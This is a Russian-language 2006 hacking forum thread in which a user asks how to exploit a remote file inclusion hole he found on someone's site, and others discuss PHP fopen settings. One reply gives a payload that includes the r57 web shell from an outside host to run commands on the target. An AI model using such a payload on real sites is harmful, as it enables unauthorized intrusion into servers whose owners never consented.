Объясните пожалуйста, нашел php-inj, что можно с нею сделать?

Discussion in 'PHP' started by Марсеанчег, 3 Sep 2006.

  1. Марсеанчег

    Joined:
    29 Aug 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    На одном из сайтов нашел возможность инклуда файла в параметр страницы page=http://mysite.com/icx и файл icx.php выполнеятся. Что можно с этим сделать? Например использовать shell(я в этом темный, объясните или пошлите куда-то прочитать, что оно есть ... и ссылку откуда скачать можно шелл с манулом ;)) )Ну или считать содержимое файлов как? Вот таким кодом хочу считать содержимое файла
    PHP:
        if (fopen("http://www.somesite.com/main.php""r")) { 
        echo 
    "I can open it!";
        
    $lines file("http://www.somesite.com/main.php"


        foreach (
    $lines as $line_num => $line) {
        echo 
    "#<b>{$line_num}</b> : " htmlspecialchars($line) . "<br />\n";
        }

    Выдает такую ошибку

    #1 : <b>Fatal error</b>: Call to undefined function: showmain() in <b>/home/somesite/public/main.php</b> on line <b>2</b><br />

    :confused:

    //by SMiX: Код php суем в тег
    PHP:
    [/b][/size]
     
    #1 Марсеанчег, 3 Sep 2006
    Last edited by a moderator: 3 Sep 2006
  2. [loy]

    [loy] Elder - Старейшина

    Joined:
    24 Mar 2006
    Messages:
    126
    Likes Received:
    23
    Reputations:
    16
    иче

    Распичатой на бумажке с форматом а4
    Сходи с ней в туалет ............ потересь ей
    поймеш какая плохая ошибка
     
  3. Марсеанчег

    Joined:
    29 Aug 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Я так понял эта беда там отключена, пробовал, не пашет...
    лечимся...
     
  4. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Попробуй page=http://rst.void.ru/download/r57shell.txt?
    Сможешь выполнять команды, просматривать дирректории... Вобщем, действительно, поищи на ачате, найдешь все, что нужно. Советую посмотреть видео по подобной темматике(VIDEO.ANTICHAT.RU )
     
  5. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    А можно весь код посмотреть?

    ПыСька: В таких случаях не используем двойные кавычки, ибо производительность уменьшается. Двойные кавычки пхп парсит на наличие переменных, а у тебя там переменных нет - медвежий труд.
     
  6. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    ну на сколько я помню то функцией fopen() можно открывать только файлы расположенный на том же сайте что и сам файл с функцией....
     
  7. SMiX

    SMiX Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    227
    Likes Received:
    55
    Reputations:
    29
    nc.STRIEM ты не прав. Такое будет только если хостер спецом так настроит php.ini. По умолчанию урлы fopen открывать может.
     
  8. em00s7

    em00s7 Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    169
    Likes Received:
    37
    Reputations:
    -10
    Марсеанчег кидай строчку на который есть showmain() -))) или весь код )
     
  9. [loy]

    [loy] Elder - Старейшина

    Joined:
    24 Mar 2006
    Messages:
    126
    Likes Received:
    23
    Reputations:
    16
    вот
    тут меня попросили нормально написать пишу

    вот из мана {

    HTTP-соединения являются read-only; вы не можете записывать данные или копировать файлы в HTTP-ресурс.
    }
    fopen('http://vasya.narod.ru/file','r')
    будет открыто соидение http если в php.ini стоит
    allow_url_fopen=on
    если что обращаейтесть я уже на пхп не первой год пишу

    для gadjet
    если хостер поставил allow_url_fopen=off
    то если http://rst.void.ru/download/r57shell.txt обрабатываецо фунций fopen то не фига не получитца
     
    #9 [loy], 5 Sep 2006
    Last edited: 5 Sep 2006